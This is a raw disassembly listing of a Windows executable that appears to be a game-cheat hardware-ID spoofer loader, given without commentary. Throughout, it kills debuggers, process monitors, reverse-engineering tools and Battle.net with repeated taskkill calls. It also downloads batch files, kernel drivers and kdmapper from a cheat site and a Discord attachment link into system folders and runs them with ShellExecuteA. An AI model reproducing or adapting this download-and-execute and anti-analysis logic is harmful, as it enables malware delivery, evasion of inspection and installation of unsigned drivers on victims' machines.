call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Battle.net
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Battle.net.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
lea rdx, str._thttps:__cdn.discordapp.com_attachments_1140870881128742992_1145307096582201414_BSODTASKPROSSES.bat
lea rcx, [rsp + 0xa630]
call fcn.14005d9d0
nop
lea rdx, str.C:Program_FilesCommon_FilesSystem_adoBSODTASKPROSSES.bat
lea rcx, [rsp + 0xa610]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0xa610]
call fcn.14005d8d0
mov qword [rsp + 0xf98], rax
lea rcx, [rsp + 0xa630]
call fcn.14005d8d0
mov qword [rsp + 0xfa0], rax
mov qword [rsp + 0x20], 0
xor r9d, r9d
mov r8, qword [rsp + 0xf98]
mov rdx, qword [rsp + 0xfa0]
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
xor r9d, r9d
lea r8, str.C:Program_FilesCommon_FilesSystem_adoBSODTASKPROSSES.bat
lea rdx, str.open
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Taskmgr.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_processhacker.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_cheatengine.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_httpdebugger.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_ida64.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerUI.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerSvc.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_KsDumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_HTTPDebuggerPro.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_dnSpy.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_Dumper.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla
call qword [sym.imp.KERNEL32.dll_WinExec]
xor edx, edx
lea rcx, str.taskkill__FI__IMAGENAME_eq_scylla.exe
call qword [sym.imp.KERNEL32.dll_WinExec]
lea rdx, str.http:__nxtg3ncheats.com_download_privatenxtv2spoofingdrivers_fixspooferv2namesss_asap_kdmapper.exe
lea rcx, [rsp + 0xa5f0]
call fcn.14005d9d0
nop
lea rdx, [0x1403925a8]
lea rcx, [rsp + 0xa5d0]
call fcn.14005d9d0
nop
lea rdx, str.http:__nxtg3ncheats.com_download_ADVACNEDAIO_UNDETECTEDADVACNEDMULTIWOOFERV2AIO_FAKEUDMAPPER.bat
lea rcx, [rsp + 0xa5b0]
call fcn.14005d9d0
nop
lea rdx, str.C:Program_FilesCommon_FilesSystem_adoFAKEUDMAPPER.bat
lea rcx, [rsp + 0xa590]
call fcn.14005d9d0
nop
lea rdx, str.http:__nxtg3ncheats.com_download_ADVACNEDAIO_UNDETECTEDADVACNEDMULTIWOOFERV2AIO_UD.sys
lea rcx, [rsp + 0xa570]
call fcn.14005d9d0
nop
lea rdx, str.C:Program_FilesCommon_FilesSystem_adoUD.sys
lea rcx, [rsp + 0xa550]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0xa5d0]
call fcn.14005d8d0
mov qword [rsp + 0xfa8], rax
lea rcx, [rsp + 0xa5f0]
call fcn.14005d8d0
mov qword [rsp + 0xfb0], rax
mov qword [rsp + 0x20], 0
xor r9d, r9d
mov r8, qword [rsp + 0xfa8]
mov rdx, qword [rsp + 0xfb0]
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
lea rcx, [rsp + 0xa590]
call fcn.14005d8d0
mov qword [rsp + 0xfb8], rax
lea rcx, [rsp + 0xa5b0]
call fcn.14005d8d0
mov qword [rsp + 0xfc0], rax
mov qword [rsp + 0x20], 0
xor r9d, r9d
mov r8, qword [rsp + 0xfb8]
mov rdx, qword [rsp + 0xfc0]
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
lea rcx, [rsp + 0xa550]
call fcn.14005d8d0
mov qword [rsp + 0xfc8], rax
lea rcx, [rsp + 0xa570]
call fcn.14005d8d0
mov qword [rsp + 0xfd0], rax
mov qword [rsp + 0x20], 0
xor r9d, r9d
mov r8, qword [rsp + 0xfc8]
mov rdx, qword [rsp + 0xfd0]
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
xor r9d, r9d
lea r8, str.C:Program_FilesCommon_FilesSystem_adoFAKEUDMAPPER.bat
lea rdx, str.open
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
lea rdx, str.http:__nxtg3ncheats.com_download_ADVACNEDAIO_UNDETECTEDADVACNEDMULTIWOOFERV2AIO_AMIFLDRV64.SYS
lea rcx, [rsp + 0xa530]
call fcn.14005d9d0
nop
lea rdx, str.C:WindowsSystemAMIFLDRV64.SYS
lea rcx, [rsp + 0xa510]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0xa510]
call fcn.14005d8d0
mov qword [rsp + 0xfd8], rax
lea rcx, [rsp + 0xa530]
call fcn.14005d8d0
mov qword [rsp + 0xfe0], rax
mov qword [rsp + 0x20], 0
xor r9d, r9d
mov r8, qword [rsp + 0xfd8]
mov rdx, qword [rsp + 0xfe0]
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
lea rdx, str.http:__nxtg3ncheats.com_download_ADVACNEDAIO_UNDETECTEDADVACNEDMULTIWOOFERV2AIO_AMIDEWINx64.EXE
lea rcx, [rsp + 0xa4f0]
call fcn.14005d9d0
nop
lea rdx, str.C:WindowsSystemAMIDEWINx64.EXE
lea rcx, [rsp + 0xa4d0]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0xa4d0]
call fcn.14005d8d0
mov qword [rsp + 0xfe8], rax
lea rcx, [rsp + 0xa4f0]
call fcn.14005d8d0
mov qword [rsp + 0xff0], rax
mov qword [rsp + 0x20], 0
xor r9d, r9d
mov r8, qword [rsp + 0xfe8]
mov rdx, qword [rsp + 0xff0]
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
lea rdx, str.http:__nxtg3ncheats.com_download_ADVACNEDAIO_UNDETECTEDADVACNEDMULTIWOOFERV2AIO_volumeid64.exe
lea rcx, [rsp + 0xa4b0]
call fcn.14005d9d0
nop
lea rdx, str.C:WindowsSystem_volumeid64.exe
lea rcx, [rsp + 0xa490]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0xa490]
call fcn.14005d8d0
mov qword [rsp + 0xff8], rax
lea rcx, [rsp + 0xa4b0]
call fcn.14005d8d0
mov qword [rsp + 0x1000], rax
mov qword [rsp + 0x20], 0
xor r9d, r9d
mov r8, qword [rsp + 0xff8]
mov rdx, qword [rsp + 0x1000]
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
lea rdx, str.http:__nxtg3ncheats.com_download_ADVACNEDAIO_UNDETECTEDADVACNEDMULTIWOOFERV2AIO_pngbypas.bat
lea rcx, [rsp + 0xa470]
call fcn.14005d9d0
nop
lea rdx, str.C:Program_FilesCommon_FilesSystem_adopngbypas.bat
lea rcx, [rsp + 0xa450]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0xa450]
call fcn.14005d8d0
mov qword [rsp + 0x1008], rax
lea rcx, [rsp + 0xa470]
call fcn.14005d8d0
mov qword [rsp + 0x1010], rax
mov qword [rsp + 0x20], 0
xor r9d, r9d
mov r8, qword [rsp + 0x1008]
mov rdx, qword [rsp + 0x1010]
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
lea rdx, str.http:__nxtg3ncheats.com_download_ADVACNEDAIO_UNDETECTEDADVACNEDMULTIWOOFERV2AIO_kdmapper.exe
lea rcx, [rsp + 0xa430]
call fcn.14005d9d0
nop
lea rdx, [0x1403925a8]
lea rcx, [rsp + 0xa410]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0xa410]
call fcn.14005d8d0
mov qword [rsp + 0x1018], rax
lea rcx, [rsp + 0xa430]
call fcn.14005d8d0
mov qword [rsp + 0x1020], rax
mov qword [rsp + 0x20], 0
xor r9d, r9d
mov r8, qword [rsp + 0x1018]
mov rdx, qword [rsp + 0x1020]
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
lea rdx, str.http:__nxtg3ncheats.com_download_ADVACNEDAIO_UNDETECTEDADVACNEDMULTIWOOFERV2AIO_biosspoof.bat
lea rcx, [rsp + 0xa3f0]
call fcn.14005d9d0
nop
lea rdx, str.C:WindowsSystem_biosspoof.bat
lea rcx, [rsp + 0xa3d0]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0xa3d0]
call fcn.14005d8d0
mov qword [rsp + 0x1028], rax
lea rcx, [rsp + 0xa3f0]
call fcn.14005d8d0
mov qword [rsp + 0x1030], rax
mov qword [rsp + 0x20], 0
xor r9d, r9d
mov r8, qword [rsp + 0x1028]
mov rdx, qword [rsp + 0x1030]
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
lea rdx, str.http:__nxtg3ncheats.com_download_ADVACNEDAIO_UNDETECTEDADVACNEDMULTIWOOFERV2AIO_c.bat
lea rcx, [rsp + 0xa3b0]
call fcn.14005d9d0
nop
lea rdx, str.C:WindowsSystemc.bat
lea rcx, [rsp + 0xa390]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0xa390]
call fcn.14005d8d0
mov qword [rsp + 0x1038], rax
lea rcx, [rsp + 0xa3b0]
call fcn.14005d8d0
mov qword [rsp + 0x1040], rax
mov qword [rsp + 0x20], 0
xor r9d, r9d
mov r8, qword [rsp + 0x1038]
mov rdx, qword [rsp + 0x1040]
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
lea rdx, str.http:__nxtg3ncheats.com_download_ADVACNEDAIO_UNDETECTEDADVACNEDMULTIWOOFERV2AIO_chassisspoof.bat
lea rcx, [rsp + 0xcb10]
call fcn.14005d9d0
nop
lea rdx, str.C:WindowsSystemchassisspoof.bat
lea rcx, [rsp + 0xcaf0]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0xcaf0]
call fcn.14005d8d0
mov qword [rsp + 0x1048], rax
lea rcx, [rsp + 0xcb10]
call fcn.14005d8d0
mov qword [rsp + 0x1050], rax
mov qword [rsp + 0x20], 0
xor r9d, r9d
mov r8, qword [rsp + 0x1048]
mov rdx, qword [rsp + 0x1050]
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
lea rdx, str.http:__nxtg3ncheats.com_download_ADVACNEDAIO_UNDETECTEDADVACNEDMULTIWOOFERV2AIO_NXTPERMMULTISPPOOFERV2.bat
lea rcx, [rsp + 0xcad0]
call fcn.14005d9d0
nop
lea rdx, str.C:WindowsSystemNXTPERMMULTISPPOOFERV2.bat
lea rcx, [rsp + 0xcab0]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0xcab0]
call fcn.14005d8d0
mov qword [rsp + 0x1058], rax
lea rcx, [rsp + 0xcad0]
call fcn.14005d8d0
mov qword [rsp + 0x1060], rax
mov qword [rsp + 0x20], 0
xor r9d, r9d
mov r8, qword [rsp + 0x1058]
mov rdx, qword [rsp + 0x1060]
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
lea rdx, str.http:__nxtg3ncheats.com_download_ADVACNEDAIO_UNDETECTEDADVACNEDMULTIWOOFERV2AIO_baseboardspoof.bat
lea rcx, [rsp + 0xca90]
call fcn.14005d9d0
nop
lea rdx, str.C:WindowsSystem_baseboardspoof.bat
lea rcx, [rsp + 0xca70]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0xca70]
call fcn.14005d8d0
mov qword [rsp + 0x1068], rax
lea rcx, [rsp + 0xca90]
call fcn.14005d8d0
mov qword [rsp + 0x1070], rax
mov qword [rsp + 0x20], 0
xor r9d, r9d
mov r8, qword [rsp + 0x1068]
mov rdx, qword [rsp + 0x1070]
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
lea rdx, str.http:__nxtg3ncheats.com_download_ADVACNEDAIO_UNDETECTEDADVACNEDMULTIWOOFERV2AIO_cpuspoof.bat
lea rcx, [rsp + 0xca50]
call fcn.14005d9d0
nop
lea rdx, str.C:WindowsSystemcpuspoof.bat
lea rcx, [rsp + 0xca30]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0xca30]
call fcn.14005d8d0
mov qword [rsp + 0x1078], rax
lea rcx, [rsp + 0xca50]
call fcn.14005d8d0
mov qword [rsp + 0x1080], rax
mov qword [rsp + 0x20], 0
xor r9d, r9d
mov r8, qword [rsp + 0x1078]
mov rdx, qword [rsp + 0x1080]
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
lea rdx, str.http:__nxtg3ncheats.com_download_ADVACNEDAIO_UNDETECTEDADVACNEDMULTIWOOFERV2AIO_testing.bat
lea rcx, [rsp + 0xca10]
call fcn.14005d9d0
nop
lea rdx, str.C:WindowsSystem_testing.bat
lea rcx, [rsp + 0xc9f0]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0xc9f0]
call fcn.14005d8d0
mov qword [rsp + 0x1088], rax
lea rcx, [rsp + 0xca10]
call fcn.14005d8d0
mov qword [rsp + 0x1090], rax
mov qword [rsp + 0x20], 0
xor r9d, r9d
mov r8, qword [rsp + 0x1088]
mov rdx, qword [rsp + 0x1090]
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
lea rdx, str.http:__nxtg3ncheats.com_download_ADVACNEDAIO_UNDETECTEDADVACNEDMULTIWOOFERV2AIO_systemspoof.bat
lea rcx, [rsp + 0xc9d0]
call fcn.14005d9d0
nop
lea rdx, str.C:WindowsSystem_systemspoof.bat
lea rcx, [rsp + 0xc9b0]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0xc9b0]
call fcn.14005d8d0
mov qword [rsp + 0x1098], rax
lea rcx, [rsp + 0xc9d0]
call fcn.14005d8d0
mov qword [rsp + 0x10a0], rax
mov qword [rsp + 0x20], 0
xor r9d, r9d
mov r8, qword [rsp + 0x1098]
mov rdx, qword [rsp + 0x10a0]
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
lea rdx, str.http:__nxtg3ncheats.com_download_ADVACNEDAIO_UNDETECTEDADVACNEDMULTIWOOFERV2AIO_macchanger.bat
lea rcx, [rsp + 0xc990]
call fcn.14005d9d0
nop
lea rdx, str.C:WindowsSystemmacchanger.bat
lea rcx, [rsp + 0xc970]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0xc970]
call fcn.14005d8d0
mov qword [rsp + 0x10a8], rax
lea rcx, [rsp + 0xc990]
call fcn.14005d8d0
mov qword [rsp + 0x10b0], rax
mov qword [rsp + 0x20], 0
xor r9d, r9d
mov r8, qword [rsp + 0x10a8]
mov rdx, qword [rsp + 0x10b0]
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
lea rdx, str.http:__nxtg3ncheats.com_download_ADVACNEDAIO_UNDETECTEDADVACNEDMULTIWOOFERV2AIO_REMAKEALLINONESPOOFER.bat
lea rcx, [rsp + 0xc950]
call fcn.14005d9d0
nop
lea rdx, str.C:WindowsSystemREMAKEALLINONESPOOFER.bat
lea rcx, [rsp + 0xc910]
call fcn.14005d9d0
nop
lea rcx, [rsp + 0xc910]
call fcn.14005d8d0
mov qword [rsp + 0x10b8], rax
lea rcx, [rsp + 0xc950]
call fcn.14005d8d0
mov qword [rsp + 0x10c0], rax
mov qword [rsp + 0x20], 0
xor r9d, r9d
mov r8, qword [rsp + 0x10b8]
mov rdx, qword [rsp + 0x10c0]
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
xor r9d, r9d
lea r8, str.C:Program_FilesCommon_FilesSystem_adoREMAKEALLINONESPOOFER.bat
lea rdx, str.open
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
xor r9d, r9d
lea r8, str.C:Program_FilesCommon_FilesSystem_adoFAKEUDMAPPER.bat
lea rdx, str.open
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
xor r9d, r9d
lea r8, str.C:Program_FilesCommon_FilesSystem_adopngbypas.bat
lea rdx, str.open
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
mov dword [rsp + 0x28], 0xa
mov qword [rsp + 0x20], 0
xor r9d, r9d
lea r8, str.C:WindowsSystemNXTPERMMULTISPPOOFERV2.bat
lea rdx, str.open
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
mov dword [rsp + 0x28], 0xa
mov qword [rsp + 0x20], 0
xor r9d, r9d
lea r8, str.C:WindowsSystem_baseboardspoof.bat
lea rdx, str.open
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
mov dword [rsp + 0x28], 0xa
mov qword [rsp + 0x20], 0
xor r9d, r9d
lea r8, str.C:WindowsSystem_biosspoof.bat
lea rdx, str.open
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
mov dword [rsp + 0x28], 0xa
mov qword [rsp + 0x20], 0
xor r9d, r9d
lea r8, str.C:WindowsSystemc.bat
lea rdx, str.open
xor ecx, ecx
